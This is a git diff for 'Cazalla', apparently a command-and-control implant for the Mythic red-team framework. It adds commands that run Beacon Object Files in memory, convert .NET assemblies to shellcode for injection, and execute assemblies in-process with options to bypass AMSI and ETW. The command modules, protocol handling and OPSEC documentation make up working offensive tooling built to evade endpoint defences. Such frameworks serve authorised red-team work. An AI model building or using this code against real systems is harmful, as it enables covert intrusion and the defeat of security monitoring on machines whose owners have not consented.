+#define HASH_SEED 0x811C9DC5 +#define HASH_PRIME 0x01000193 + +UINT32 custom_hash(const char *data) { + UINT32 hash = HASH_SEED; + if (!data) return 0; + while (*data) { + hash ^= (UINT8)(*data); + hash *= HASH_PRIME; + data++; + } + return hash; +} \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.h index 62c6410..bca7148 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.h @@ -33,4 +33,7 @@ int base64_decode(const char *b64, unsigned char **out, size_t *out_len); int base64_encode(const unsigned char *data, size_t dlen, char **out_b64); /* Sets *out_b64 to a LocalAlloc'd null-terminated string. Returns 1 on success, 0 on fail. */ +/* Hash function for BOF function resolution (FNV-1a) */ +UINT32 custom_hash(const char *data); + #endif diff --git a/Payload_Type/cazalla/cazalla/agent_functions/__pycache__/__init__.cpython-311.pyc b/Payload_Type/cazalla/cazalla/agent_functions/__pycache__/__init__.cpython-311.pyc new file mode 100644 index 0000000..1cf03f3 Binary files /dev/null and b/Payload_Type/cazalla/cazalla/agent_functions/__pycache__/__init__.cpython-311.pyc differ diff --git a/Payload_Type/cazalla/cazalla/agent_functions/__pycache__/inline_execute.cpython-311.pyc b/Payload_Type/cazalla/cazalla/agent_functions/__pycache__/inline_execute.cpython-311.pyc new file mode 100644 index 0000000..b0d9479 Binary files /dev/null and b/Payload_Type/cazalla/cazalla/agent_functions/__pycache__/inline_execute.cpython-311.pyc differ diff --git a/Payload_Type/cazalla/cazalla/agent_functions/__pycache__/rpfwd.cpython-311.pyc b/Payload_Type/cazalla/cazalla/agent_functions/__pycache__/rpfwd.cpython-311.pyc new file mode 100644 index 0000000..def0be0 Binary files /dev/null and b/Payload_Type/cazalla/cazalla/agent_functions/__pycache__/rpfwd.cpython-311.pyc differ diff --git a/Payload_Type/cazalla/cazalla/agent_functions/execute_assembly.py b/Payload_Type/cazalla/cazalla/agent_functions/execute_assembly.py new file mode 100644 index 0000000..be550c4 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_functions/execute_assembly.py @@ -0,0 +1,220 @@ +from mythic_container.MythicCommandBase import * +from mythic_container.MythicRPC import * +import json +import logging +import os +import tempfile + +logging.basicConfig(level=logging.INFO) + + +class ExecuteAssemblyArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( + name="assembly_name", + cli_name="Assembly", + display_name="Assembly", + type=ParameterType.ChooseOne, + dynamic_query_function=self.get_files, + description="Already existing .NET assembly to execute (e.g. SharpUp.exe)", + parameter_group_info=[ + ParameterGroupInfo( + required=True, + group_name="Default", + ui_position=1 + ) + ]), + CommandParameter( + name="assembly_file", + display_name="New Assembly", + type=ParameterType.File, + description="A new .NET assembly to execute. After uploading once, you can just supply the -Assembly parameter", + parameter_group_info=[ + ParameterGroupInfo( + required=True, + group_name="New Assembly", + ui_position=1, + ) + ] + ), + CommandParameter( + name="assembly_arguments", + cli_name="Arguments", + display_name="Arguments", + type=ParameterType.String, + description="Arguments to pass to the assembly.", + default_value="", + parameter_group_info=[ + ParameterGroupInfo( + required=True, group_name="Default", ui_position=2, + ), + ParameterGroupInfo( + required=True, group_name="New Assembly", ui_position=2 + ), + ], + ), + ] + + async def get_files(self, callback: PTRPCDynamicQueryFunctionMessage) -> PTRPCDynamicQueryFunctionMessageResponse: + response = PTRPCDynamicQueryFunctionMessageResponse() + file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( + CallbackID=callback.Callback, + LimitByCallback=False, + Filename="", + )) + if file_resp.Success: + file_names = [] + for f in file_resp.Files: + if f.Filename not in file_names and f.Filename.endswith(".exe"): + file_names.append(f.Filename) + response.Success = True + response.Choices = file_names + return response + else: + await SendMythicRPCOperationEventLogCreate(MythicRPCOperationEventLogCreateMessage( + CallbackId=callback.Callback, + Message=f"Failed to get files: {file_resp.Error}", + MessageLevel="warning" + )) + response.Error = f"Failed to get files: {file_resp.Error}" + return response + + async def parse_arguments(self): + if len(self.command_line) == 0: + raise ValueError("Must supply arguments") + raise ValueError("Must supply named arguments or use the modal") + +class ExecuteAssemblyCommand(CommandBase): + cmd = "execute_assembly" + needs_admin = False + help_cmd = "execute_assembly -File [Assembly Filename] [-Arguments [optional arguments]]" + description = "Execute a .NET Assembly. Use an already uploaded assembly file or upload one with the command. (e.g., execute_assembly -File SharpUp.exe -Arguments \"audit\")" + version = 1 + author = "@c0rnbread (adapted for Cazalla)" + script_only = True + attackmapping = [] + argument_class = ExecuteAssemblyArguments + attributes = CommandAttributes( + builtin=False, + supported_os=[ SupportedOS.Windows ], + suggested_command=False + ) + + async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + response = PTTaskCreateTaskingMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + ) + + try: + groupName = taskData.args.get_parameter_group_name() + + if groupName == "New Assembly": + file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( + TaskID=taskData.Task.ID, + AgentFileID=taskData.args.get_arg("assembly_file") + )) + if file_resp.Success: + if len(file_resp.Files) > 0: + pass + else: + raise Exception("Failed to find that file") + else: + raise Exception("Error from Mythic trying to get file: " + str(file_resp.Error)) + + # Set display parameters + response.DisplayParams = "-Assembly {} -Arguments {}".format( + file_resp.Files[0].Filename, + taskData.args.get_arg("assembly_arguments") + ) + + taskData.args.add_arg("assembly_name", file_resp.Files[0].Filename) + taskData.args.remove_arg("assembly_file") + + elif groupName == "Default": + # We're trying to find an already existing file and use that + file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( + TaskID=taskData.Task.ID, + Filename=taskData.args.get_arg("assembly_name"), + LimitByCallback=False, + MaxResults=1 + )) + if file_resp.Success: + if len(file_resp.Files) > 0: + logging.info(f"Found existing Assembly with File ID : {file_resp.Files[0].AgentFileId}") + + taskData.args.remove_arg("assembly_name") # Don't need this anymore + + # Set display parameters + response.DisplayParams = "-Assembly {} -Arguments {}".format( + file_resp.Files[0].Filename, + taskData.args.get_arg("assembly_arguments") + ) + + elif len(file_resp.Files) == 0: + raise Exception("Failed to find the named file. Have you uploaded it before? Did it get deleted?") + else: + raise Exception("Error from Mythic trying to search files:\n" + str(file_resp.Error)) + + # Get the file contents of the .NET assembly + assembly_contents = await SendMythicRPCFileGetContent( + MythicRPCFileGetContentMessage(AgentFileId=file_resp.Files[0].AgentFileId) + ) + + # Try to import donut - required for execute_assembly + try: + import donut + except ImportError: + raise Exception("The 'donut' Python module is not installed. Please install it with: pip install donut-shellcode") + + # Need a physical path for donut.create() + fd, temppath = tempfile.mkstemp(suffix='.exe') + logging.info(f"Writing Assembly Contents to temporary file \"{temppath}\"") + with os.fdopen(fd, 'wb') as tmp: + tmp.write(assembly_contents.Content) + + # Bypass=None, ExitOption=exit process + assembly_shellcode = donut.create(file=temppath, params=taskData.args.get_arg("assembly_arguments"), bypass=1, exit_opt=2) + # Clean up temp file + os.remove(temppath) + + logging.info(f"Converted .NET into Shellcode {len(assembly_shellcode)} bytes") + + # .NET shellcode stub in Mythic + shellcode_file_resp = await SendMythicRPCFileCreate( + MythicRPCFileCreateMessage(TaskID=taskData.Task.ID, FileContents=assembly_shellcode, DeleteAfterFetch=True) + ) + + + if shellcode_file_resp.Success: + shellcode_file_uuid = shellcode_file_resp.AgentFileId + else: + raise Exception("Failed to register execute_assembly binary: " + shellcode_file_resp.Error) + + # Send subtask to inject shellcode + # Note: This requires an inject_shellcode command to exist + # For now, we'll just register the file and note that inject_shellcode needs to be implemented + subtask = await SendMythicRPCTaskCreateSubtask( + MythicRPCTaskCreateSubtaskMessage( + taskData.Task.ID, + CommandName="inject_shellcode", + SubtaskCallbackFunction="coff_completion_callback", + Params=json.dumps({ + "shellcode_file": shellcode_file_uuid, + "method": "default" + }), + Token=taskData.Task.TokenID, + ) + ) + + return response + + except Exception as e: + raise Exception("Error from Mythic: " + str(e)) + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + return resp + diff --git a/Payload_Type/cazalla/cazalla/agent_functions/inline_execute.py b/Payload_Type/cazalla/cazalla/agent_functions/inline_execute.py new file mode 100644 index 0000000..d136543 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_functions/inline_execute.py @@ -0,0 +1,209 @@ +from mythic_container.MythicCommandBase import * +from mythic_container.MythicRPC import * +import json + +class InlineExecuteArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( + name="bof_name", + cli_name="BOF", + display_name="BOF", + type=ParameterType.ChooseOne, + dynamic_query_function=self.get_files, + description="Already existing BOF to execute (e.g. whoami.x64.o)", + parameter_group_info=[ + ParameterGroupInfo( + required=True, + group_name="Default", + ui_position=1 + ) + ] + ), + CommandParameter( + name="bof_file", + display_name="New BOF", + type=ParameterType.File, + description="A new BOF to execute. After uploading once, you can just supply the bof_name parameter", + parameter_group_info=[ + ParameterGroupInfo( + required=True, + group_name="New", + ui_position=1, + ) + ] + ), + CommandParameter( + name="bof_arguments", + cli_name="Arguments", + display_name="Arguments", + type=ParameterType.TypedArray, + default_value=[], + choices=["int16", "int32", "string", "wchar", "base64"], + description="""Arguments to pass to the BOF via the following way: + -s:123 or int16:123 + -i:123 or int32:123 + -z:hello or string:hello + -Z:hello or wchar:hello + -b:abc== or base64:abc==""", + typedarray_parse_function=self.get_arguments, + parameter_group_info=[ + ParameterGroupInfo( + required=False, + group_name="Default", + ui_position=4 + ), + ParameterGroupInfo( + required=False, + group_name="New", + ui_position=4 + ), + ] + ), + ] + + async def parse_arguments(self): + if len(self.command_line) == 0: + raise ValueError("Must supply arguments") + raise ValueError("Must supply named arguments or use the modal") + + async def parse_dictionary(self, dictionary_arguments): + # Allowed argument keys + expected_args = {"bof_arguments", "bof_file", "bof_name"} + + # Check if dictionary contains only allowed keys + invalid_keys = set(dictionary_arguments.keys()) - expected_args + if invalid_keys: + raise ValueError(f"Invalid arguments provided: {', '.join(invalid_keys)}") + + # Load only allowed arguments + filtered_arguments = {k: v for k, v in dictionary_arguments.items() if k in expected_args} + self.load_args_from_dictionary(filtered_arguments) + + async def get_arguments(self, arguments: PTRPCTypedArrayParseFunctionMessage) -> PTRPCTypedArrayParseFunctionMessageResponse: + argumentSplitArray = [] + for argValue in arguments.InputArray: + argSplitResult = argValue.split(" ") + for spaceSplitArg in argSplitResult: + argumentSplitArray.append(spaceSplitArg) + bof_arguments = [] + for argument in argumentSplitArray: + if ":" not in argument: + continue + argType,value = argument.split(":",1) + value = value.strip("\'").strip("\"") + if argType == "": + pass + elif argType == "int16" or argType == "-s" or argType == "s": + bof_arguments.append(["int16", int(value)]) + elif argType == "int32" or argType == "-i" or argType == "i": + bof_arguments.append(["int32", int(value)]) + elif argType == "string" or argType == "-z" or argType == "z": + bof_arguments.append(["string",value]) + elif argType == "wchar" or argType == "-Z" or argType == "Z": + bof_arguments.append(["wchar",value]) + elif argType == "base64" or argType == "-b" or argType == "b": + bof_arguments.append(["base64",value]) + else: + return PTRPCTypedArrayParseFunctionMessageResponse(Success=False, + Error=f"Failed to parse argument: {argument}: Unknown value type.") + + argumentResponse = PTRPCTypedArrayParseFunctionMessageResponse(Success=True, TypedArray=bof_arguments) + return argumentResponse + + async def get_files(self, callback: PTRPCDynamicQueryFunctionMessage) -> PTRPCDynamicQueryFunctionMessageResponse: + response = PTRPCDynamicQueryFunctionMessageResponse() + file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( + CallbackID=callback.Callback, + LimitByCallback=False, + IsDownloadFromAgent=False, + IsScreenshot=False, + IsPayload=False, + Filename="", + )) + if file_resp.Success: + file_names = [] + for f in file_resp.Files: + if f.Filename not in file_names and f.Filename.endswith(".o"): + file_names.append(f.Filename) + response.Success = True + response.Choices = file_names + return response + else: + await SendMythicRPCOperationEventLogCreate(MythicRPCOperationEventLogCreateMessage( + CallbackId=callback.Callback, + Message=f"Failed to get files: {file_resp.Error}", + MessageLevel="warning" + )) + response.Error = f"Failed to get files: {file_resp.Error}" + return response + + +class InlineExecuteCommand(CommandBase): + cmd = "inline_execute" + needs_admin = False + help_cmd = "inline_execute -BOF [COFF.o] [-Arguments [optional arguments]]" + description = "Execute a Beacon Object File in the current process thread. (e.g., inline_execute -BOF listmods.x64.o -Arguments int32:1234) \n [!!WARNING!! Incorrect argument types can crash the Agent process.]" + version = 1 + author = "@c0rnbread (adapted for Cazalla)" + attackmapping = [] + argument_class = InlineExecuteArguments + attributes = CommandAttributes( + builtin=False, + supported_os=[ SupportedOS.Windows ], + suggested_command=True + ) + + async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + response = PTTaskCreateTaskingMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + ) + + try: + groupName = taskData.args.get_parameter_group_name() + if groupName == "New": + file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( + TaskID=taskData.Task.ID, + AgentFileID=taskData.args.get_arg("bof_file") + )) + if file_resp.Success: + if len(file_resp.Files) > 0: + pass + else: + raise Exception("Failed to find that file") + else: + raise Exception("Error from Mythic trying to get file: " + str(file_resp.Error)) + elif groupName == "Default": + # We're trying to find an already existing file and use that + file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( + TaskID=taskData.Task.ID, + Filename=taskData.args.get_arg("bof_name"), + LimitByCallback=False, + MaxResults=1 + )) + if file_resp.Success: + if len(file_resp.Files) > 0: + taskData.args.add_arg("bof_file", file_resp.Files[0].AgentFileId) + taskData.args.remove_arg("bof_name") # Don't need this anymore + + # Set display parameters + response.DisplayParams = "-bof_file {} -bof_arguments {}".format( + file_resp.Files[0].Filename, + taskData.args.get_arg("bof_arguments") + ) + + elif len(file_resp.Files) == 0: + raise Exception("Failed to find the named file. Have you uploaded it before? Did it get deleted?") + else: + raise Exception("Error from Mythic trying to search files:\n" + str(file_resp.Error)) + except Exception as e: + raise Exception("Error from Mythic: " + str(e)) + + return response + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + return resp + diff --git a/Payload_Type/cazalla/cazalla/agent_functions/inline_execute_assembly.py b/Payload_Type/cazalla/cazalla/agent_functions/inline_execute_assembly.py new file mode 100644 index 0000000..19df8d0 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_functions/inline_execute_assembly.py @@ -0,0 +1,271 @@ +from mythic_container.MythicCommandBase import * +from mythic_container.MythicRPC import * +import json +import logging + +logging.basicConfig(level=logging.INFO) + +# Wrapper function for Inline-EA +# BoF Credits: https://github.com/EricEsquivel/Inline-EA + +class InlineExecuteAssemblyArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( + name="assembly_name", + cli_name="Assembly", + display_name="Assembly", + type=ParameterType.ChooseOne, + dynamic_query_function=self.get_files, + description="Already existing .NET assembly to execute (e.g. SharpUp.exe)", + parameter_group_info=[ + ParameterGroupInfo( + required=True, + group_name="Default", + ui_position=1 + ) + ]), + CommandParameter( + name="assembly_file", + display_name="New Assembly", + type=ParameterType.File, + description="A new .NET assembly to execute. After uploading once, you can just supply the -Assembly parameter", + parameter_group_info=[ + ParameterGroupInfo( + required=True, + group_name="New Assembly", + ui_position=1, + ) + ] + ), + CommandParameter( + name="assembly_arguments", + cli_name="Arguments", + display_name="Arguments", + type=ParameterType.String, + description="Arguments to pass to the assembly.", + default_value="", + parameter_group_info=[ + ParameterGroupInfo( + required=False, group_name="Default", ui_position=2, + ), + ParameterGroupInfo( + required=False, group_name="New Assembly", ui_position=2 + ), + ], + ), + CommandParameter( + name="patch_exit", + cli_name="-patchexit", + display_name="patchexit", + type=ParameterType.Boolean, + description="Patches System.Environment.Exit to prevent Beacon process from exiting", + default_value=False, + parameter_group_info=[ + ParameterGroupInfo( + required=False, group_name="Default", ui_position=3, + ), + ParameterGroupInfo( + required=False, group_name="New Assembly", ui_position=3 + ), + ], + ), + CommandParameter( + name="amsi", + cli_name="-amsi", + display_name="amsi", + type=ParameterType.Boolean, + description="Bypass AMSI by patching clr.dll instead of amsi.dll to avoid common detections", + default_value=False, + parameter_group_info=[ + ParameterGroupInfo( + required=False, group_name="Default", ui_position=4, + ), + ParameterGroupInfo( + required=False, group_name="New Assembly", ui_position=4 + ), + ], + ), + CommandParameter( + name="etw", + cli_name="-etw", + display_name="etw", + type=ParameterType.Boolean, + description="Bypass ETW by EAT Hooking advapi32.dll!EventWrite to point to a function that returns right away", + default_value=False, + parameter_group_info=[ + ParameterGroupInfo( + required=False, group_name="Default", ui_position=5, + ), + ParameterGroupInfo( + required=False, group_name="New Assembly", ui_position=5 + ), + ], + ), + ] + + async def get_files(self, callback: PTRPCDynamicQueryFunctionMessage) -> PTRPCDynamicQueryFunctionMessageResponse: + response = PTRPCDynamicQueryFunctionMessageResponse() + file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( + CallbackID=callback.Callback, + LimitByCallback=False, + Filename="", + )) + if file_resp.Success: + file_names = [] + for f in file_resp.Files: + if f.Filename not in file_names and f.Filename.endswith(".exe"): + file_names.append(f.Filename) + response.Success = True + response.Choices = file_names + return response + else: + await SendMythicRPCOperationEventLogCreate(MythicRPCOperationEventLogCreateMessage( + CallbackId=callback.Callback, + Message=f"Failed to get files: {file_resp.Error}", + MessageLevel="warning" + )) + response.Error = f"Failed to get files: {file_resp.Error}" + return response + + async def parse_arguments(self): + if len(self.command_line) == 0: + raise ValueError("Must supply arguments") + raise ValueError("Must supply named arguments or use the modal") + +class InlineExecuteAssemblyCommand(CommandBase): + cmd = "inline_execute_assembly" + needs_admin = False + help_cmd = "inline_execute_assembly -Assembly [file] [-Arguments [assembly args] [--patchexit] [--amsi] [--etw]]" + description = "Execute a .NET Assembly in the current process using @EricEsquivel's BOF \"Inline-EA\" (e.g., inline_execute_assembly -Assembly SharpUp.exe -Arguments \"audit\" --patchexit --amsi --etw)" + version = 1 + author = "@c0rnbread (adapted for Cazalla)" + script_only = True + attackmapping = [] + argument_class = InlineExecuteAssemblyArguments + attributes = CommandAttributes( + dependencies=["inline_execute"], + alias=True + ) + + async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + response = PTTaskCreateTaskingMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + ) + + try: + groupName = taskData.args.get_parameter_group_name() + + if groupName == "New Assembly": + file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( + TaskID=taskData.Task.ID, + AgentFileID=taskData.args.get_arg("assembly_file") + )) + if file_resp.Success: + if len(file_resp.Files) > 0: + pass + else: + raise Exception("Failed to find that file") + else: + raise Exception("Error from Mythic trying to get file: " + str(file_resp.Error)) + + # Set display parameters + response.DisplayParams = "-Assembly {} -Arguments {} --patchexit {} --amsi {} --etw {}".format( + file_resp.Files[0].Filename, + taskData.args.get_arg("assembly_arguments"), + taskData.args.get_arg("patch_exit"), + taskData.args.get_arg("amsi"), + taskData.args.get_arg("etw") + ) + + taskData.args.add_arg("assembly_name", file_resp.Files[0].Filename) + taskData.args.remove_arg("assembly_file") + + elif groupName == "Default": + # We're trying to find an already existing file and use that + file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( + TaskID=taskData.Task.ID, + Filename=taskData.args.get_arg("assembly_name"), + LimitByCallback=False, + MaxResults=1 + )) + if file_resp.Success: + if len(file_resp.Files) > 0: + logging.info(f"Found existing Assembly with File ID : {file_resp.Files[0].AgentFileId}") + + taskData.args.remove_arg("assembly_name") # Don't need this anymore + + # Set display parameters + response.DisplayParams = "-Assembly {} -Arguments {} --patchexit {} --amsi {} --etw {}".format( + file_resp.Files[0].Filename, + taskData.args.get_arg("assembly_arguments"), + taskData.args.get_arg("patch_exit"), + taskData.args.get_arg("amsi"), + taskData.args.get_arg("etw") + ) + + elif len(file_resp.Files) == 0: + raise Exception("Failed to find the named file. Have you uploaded it before? Did it get deleted?") + else: + raise Exception("Error from Mythic trying to search files:\n" + str(file_resp.Error)) + + # Get the file contents of the .NET assembly ( base64 ( assembly bytes ) ) + assembly_contents = await SendMythicRPCFileGetContent( + MythicRPCFileGetContentMessage(AgentFileId=file_resp.Files[0].AgentFileId) + ) + + # Arguments depend on the BOF + file_name = "inline-ea.x64.o" + arguments = [ + [ + "bytes", + assembly_contents.Content.hex() # Raw bytes of Assembly + ], + [ + "int32", + len(assembly_contents.Content) # Assembly length + ], + [ + "wchar", + taskData.args.get_arg("assembly_arguments") # Assembly argument string + ], + [ + "int32", + taskData.args.get_arg("patch_exit") # BOOL + ], + [ + "int32", + taskData.args.get_arg("amsi") # BOOL + ], + [ + "int32", + taskData.args.get_arg("etw") # BOOL + ] + + ] + + # Run inline_execute subtask + subtask = await SendMythicRPCTaskCreateSubtask( + MythicRPCTaskCreateSubtaskMessage( + taskData.Task.ID, + CommandName="inline_execute", + SubtaskCallbackFunction="coff_completion_callback", + Params=json.dumps({ + "bof_name": file_name, + "bof_arguments": arguments + }), + Token=taskData.Task.TokenID, + ) + ) + + return response + + except Exception as e: + raise Exception("Error from Mythic: " + str(e)) + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + return resp + diff --git a/Payload_Type/cazalla/requirements.txt b/Payload_Type/cazalla/requirements.txt index 54199ae..a6d8887 100644 --- a/Payload_Type/cazalla/requirements.txt +++ b/Payload_Type/cazalla/requirements.txt @@ -10,3 +10,7 @@ pyaml async-timeout==4.0.3 charset_normalizer==3.3.2 pycryptodome==3.19.0 + +# Optional dependencies: +# donut-shellcode - Required only for execute_assembly command +# Install with: pip install donut-shellcode \ No newline at end of file diff --git a/Payload_Type/cazalla/translator/commands_from_c2.py b/Payload_Type/cazalla/translator/commands_from_c2.py index 85ac18d..8d7002e 100644 --- a/Payload_Type/cazalla/translator/commands_from_c2.py +++ b/Payload_Type/cazalla/translator/commands_from_c2.py @@ -38,7 +38,11 @@ commands = { # Added Reverse Port Forward commands "start_rpfwd": {"hex_code": 0x62, "input_type": "int"}, "stop_rpfwd": {"hex_code": 0x63, "input_type": None}, - "socks": {"hex_code": 0x60, "input_type": "socks_special"} # Se maneja especialmente + "socks": {"hex_code": 0x60, "input_type": "socks_special"}, # Se maneja especialmente + # BOF and Assembly execution commands + "inline_execute": {"hex_code": 0x70, "input_type": "bof_special"}, + "inline_execute_assembly": {"hex_code": 0x71, "input_type": "assembly_special"}, + "execute_assembly": {"hex_code": 0x72, "input_type": "assembly_special"} } def responseTasking(tasks): @@ -208,6 +212,56 @@ def responseTasking(tasks): print(f"[TRANSLATOR] SOCKS STOP") dataTask += len(data).to_bytes(4, "big") + data + + elif commands[command_to_run]["input_type"] == "bof_special": + # inline_execute: Format: [command_code][task_id][file_id_len:4][file_id][args_len:4][args] + parameters = json.loads(task["parameters"]) if task["parameters"] != "" else {} + file_id = parameters.get("bof_file", "") + + data = command_code + task_id + # Add file_id + file_id_bytes = file_id.encode('utf-8') + data += len(file_id_bytes).to_bytes(4, "big") + data += file_id_bytes + + # Add BOF arguments (serialized) + bof_args = parameters.get("bof_arguments", []) + args_str = json.dumps(bof_args) if bof_args else "" + args_bytes = args_str.encode('utf-8') + data += len(args_bytes).to_bytes(4, "big") + data += args_bytes + + task_size = len(data) + dataTask += task_size.to_bytes(4, "big") + data + print(f"[TRANSLATOR] inline_execute: file_id={file_id}, args_len={len(args_bytes)}") + + elif commands[command_to_run]["input_type"] == "assembly_special": + # inline_execute_assembly or execute_assembly: Format: [command_code][task_id][file_id_len:4][file_id][args_len:4][args] + parameters = json.loads(task["parameters"]) if task["parameters"] != "" else {} + # For inline_execute_assembly, it uses subtasks, so we might not get direct parameters + # For execute_assembly, it also uses subtasks + # These commands are handled via subtasks in Python, so they may not reach here directly + # But we'll handle them if they do + file_id = parameters.get("assembly_file", parameters.get("shellcode_file", "")) + + data = command_code + task_id + # Add file_id + if file_id: + file_id_bytes = file_id.encode('utf-8') + data += len(file_id_bytes).to_bytes(4, "big") + data += file_id_bytes + else: + data += (0).to_bytes(4, "big") + + # Add assembly arguments + assembly_args = parameters.get("assembly_arguments", "") + args_bytes = assembly_args.encode('utf-8') if assembly_args else b"" + data += len(args_bytes).to_bytes(4, "big") + data += args_bytes + + task_size = len(data) + dataTask += task_size.to_bytes(4, "big") + data + print(f"[TRANSLATOR] {command_to_run}: file_id={file_id}, args_len={len(args_bytes)}") dataToSend = dataHead + dataTask print(f"[TRANSLATOR] ========== responseTasking FIN ==========") diff --git a/Payload_Type/cazalla/translator/commands_from_implant.py b/Payload_Type/cazalla/translator/commands_from_implant.py index 7715226..bd4538c 100644 --- a/Payload_Type/cazalla/translator/commands_from_implant.py +++ b/Payload_Type/cazalla/translator/commands_from_implant.py @@ -1078,10 +1078,29 @@ def postResponse(data): # No more markers break - try: - decoded_output = output.decode('cp850') - except Exception as e: - print(f"Fallo al decodificar la salida: {e}") + # Try to decode output - BOFs on Windows typically use Windows-1252 (cp1252) for Spanish characters + # Try Windows-1252 first (for Windows BOF output with special chars like ñ, ó, etc.) + # Then try UTF-8, then cp850 (legacy agent output), then latin-1 as last resort + decoded_output = None + for encoding in ['cp1252', 'utf-8', 'cp850', 'latin-1']: + try: + decoded_output = output.decode(encoding, errors='replace') + # If we successfully decoded with Windows-1252 or UTF-8, use it + if encoding in ['cp1252', 'utf-8']: + # Check if there are replacement characters - if too many, try next encoding + replacement_count = decoded_output.count('\ufffd') + if replacement_count == 0 or (replacement_count < len(decoded_output) * 0.01): + # Less than 1% replacement chars, probably correct encoding + break + else: + # For cp850 and latin-1, use if no replacement chars or as fallback + if '\ufffd' not in decoded_output or encoding == 'latin-1': + break + except Exception as e: + continue + + if decoded_output is None: + print(f"Fallo al decodificar la salida con todas las codificaciones intentadas") decoded_output = "[ERROR DECODIFICANDO]" task_id_str = uuidTask.decode('cp850') diff --git a/README.md b/README.md index 6ba901b..7b83946 100644 --- a/README.md +++ b/README.md @@ -199,6 +199,9 @@ For more information, see the [Mythic documentation on customizing public agents | `shell` | Execute shell command | `shell whoami` | | `sleep` | Adjust beacon interval | `sleep {"seconds":30,"jitter":0}` | | `exit` | Terminate the implant | `exit` | +| `inline_execute` | Execute a Beacon Object File (BOF) in the current process thread | `inline_execute -BOF whoami.x64.o -Arguments int32:1234` | +| `inline_execute_assembly` | Execute a .NET Assembly in the current process using Inline-EA BOF | `inline_execute_assembly -Assembly SharpUp.exe -Arguments "audit" --patchexit --amsi --etw` | +| `execute_assembly` | Execute a .NET Assembly in a remote process and retrieve output | `execute_assembly -Assembly SharpUp.exe -Arguments "audit"` | ### System Information diff --git a/documentation-payload/Cazalla/commands.md b/documentation-payload/Cazalla/commands.md index 22449e1..fd1063f 100644 --- a/documentation-payload/Cazalla/commands.md +++ b/documentation-payload/Cazalla/commands.md @@ -16,6 +16,7 @@ Complete documentation for all Cazalla agent commands. - [Token Operations](#token-operations) - [Network Tunneling](#network-tunneling) - [System Operations](#system-operations) +- [Code Execution](#code-execution) - [Control Commands](#control-commands) --- @@ -789,6 +790,145 @@ desktop-abc\administrator --- +## Code Execution + +### `inline_execute` - Execute Beacon Object File (BOF) + +Execute a Beacon Object File (BOF) in the current process thread and capture its output. + +**Syntax:** +``` +inline_execute -BOF [-Arguments ] +``` + +**Parameters:** +- `-BOF` or `bof_name` (required): Name of an already uploaded BOF file (e.g., `whoami.x64.o`) +- `bof_file` (required for new uploads): A new BOF file to upload and execute +- `-Arguments` or `bof_arguments` (optional): Arguments to pass to the BOF + +**Argument Types:** +- `int16:123` or `-s:123` - 16-bit integer +- `int32:1234` or `-i:1234` - 32-bit integer +- `string:hello` or `-z:hello` - Null-terminated string +- `wchar:hello` or `-Z:hello` - Wide character string +- `base64:abc==` or `-b:abc==` - Base64-encoded binary data + +**Examples:** +``` +inline_execute -BOF whoami.x64.o +inline_execute -BOF listmods.x64.o -Arguments int32:1234 +inline_execute -BOF netstat.x64.o -Arguments int32:4 string:TCP +``` + +**Features:** +- In-memory execution: BOFs are executed directly in the current process memory without creating new processes +- COFF loader: Full COFF loader implementation supporting x64 BOFs with relocations and symbol resolution +- Beacon API compatibility: Compatible with Cobalt Strike BOF API (BeaconPrintf, BeaconOutput, etc.) +- Output capture: Automatically captures and returns BOF output +- Argument parsing: Supports multiple argument types (int16, int32, string, wchar, base64) + +**Output:** +``` +[inline_execute] BOF execution requested +[inline_execute] File ID: abc123... +[BOF Output] +Module Name: ntdll.dll +Base Address: 0x7ffa12340000 +``` + +**OPSEC Considerations:** +- Process Create artifact: BOF execution creates a "Process Create" artifact that is logged +- Memory allocation: BOFs allocate executable memory which may be detected by EDR solutions +- API hooking: Some EDR solutions monitor API calls that BOFs make +- Symbol resolution: External symbol resolution (LoadLibraryA, GetProcAddress) may be logged +- No new process: Unlike `shell` or `execute_assembly`, BOFs execute in-process, reducing some detection vectors + +**Related:** [`inline_execute_assembly`](#inline_execute_assembly---execute-net-assembly-in-process), [`execute_assembly`](#execute_assembly---execute-net-assembly-in-remote-process), [Artifacts Support](features.md#artifacts-support) + +--- + +### `inline_execute_assembly` - Execute .NET Assembly In-Process + +Execute a .NET Assembly in the current process using the Inline-EA BOF (Beacon Object File). + +**Syntax:** +``` +inline_execute_assembly -Assembly [-Arguments ] [--patchexit] 